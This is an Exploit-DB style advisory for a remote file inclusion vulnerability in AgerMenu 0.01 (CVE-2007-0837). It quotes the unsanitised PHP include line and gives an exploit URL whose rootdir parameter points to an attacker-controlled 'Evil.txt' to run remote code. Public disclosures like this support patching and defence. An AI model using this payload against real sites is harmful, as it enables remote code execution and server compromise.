AgerMenu 0.01 (top.inc.php rootdir) Remote File Include Vulnerability



EDB-ID: 3280 CVE: 2007-0837OSVDB-ID: 33681
Author: GoLd_MPublished: 2007-02-07Verified: Verified
Exploit Code:   DownloadVulnerable App:   N/A

Rating

(0.0)
Prev Home Next
===============================================================
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn
===============================================================
URL Script: http://www.chbs.dk/proj/agermenu/agermenu-0.01.tgz
===============================================================
V.CODE: In : [path]/example/inc/top.inc.php
include $rootdir."inc/agermenu.func.php";
===============================================================
Exploit: v.Cc/[path]/example/inc/top.inc.php?rootdir=Evil.txt?
===============================================================
# milw0rm.com [2007-02-07]






Comments

No comments so far